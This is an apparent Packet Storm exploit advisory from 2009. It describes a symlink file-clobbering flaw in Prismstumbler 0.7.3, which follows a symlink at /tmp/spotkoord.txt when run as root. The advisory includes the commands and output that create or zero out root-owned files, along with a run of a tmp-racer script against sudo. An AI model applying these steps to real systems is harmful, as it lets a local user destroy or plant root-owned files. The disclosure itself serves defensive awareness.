exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Prismstumbler 0.7.3 File Overwrite

Prismstumbler 0.7.3 File Overwrite
Posted Apr 3, 2009
Authored by Grampa-E

Prismstumbler version 0.7.3 suffers from a file clobbering vulnerability.

tags | exploit
SHA-256 | 91a9f72de093f58686de2940b9eb49c3717f57f500603245b67bcb8ebb1377cb

Prismstumbler 0.7.3 File Overwrite

Change Mirror Download
I found a symlink vuln in this older program.

Prismstumbler 0.7.3 is most often ran as root to utilize all of capabilities.

Prismstumbler (pst) creates /tmp/.psintercom and /tmp/spotkoord.txt as default. Can be changed within preferences.

srw-rw-rw- 1 root root 0 2009-04-02 00:44 .psintercom
-rw-r--r-- 1 root root 0 2009-04-02 00:44 spotkoord.txt

The /tmp/spotkoord.txt file follows symlinks and zeros out linked file. While /tmp/.psintercom actually checks to see if it is there or not.

#
guy@Tengu:~/Tools$ sh tmp-racer.sh /tmp/spotkoord.txt sudo pst
Attempting to crack sudo...
[sudo] password for root:
Expected pid: 31425
Actual pid: 31425
Exit status: 0
Files /tmp/dir.31416/target and /tmp/dir.31416/original differ

I cracked sudo
#

Creation of root owned files. Or clobbering of root owned files.

guy@Tengu:/tmp$ ls -la rootfile
ls: cannot access rootfile: No such file or directory
guy@Tengu:/tmp$ ln -s rootfile spotkoord.txt
guy@Tengu:/tmp$ sudo pst
Can't connect to localhost.2947: Connection refused
eth1: ERROR while getting interface flags: No such device
Can't open pcap device: Operation not supportedCan't open pcap device: Operation not supportedguy@Tengu:/tmp$
guy@Tengu:/tmp$ ls -la rootfile
-rw-r--r-- 1 root root 0 2009-04-02 01:45 rootfile
guy@Tengu:/tmp$

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close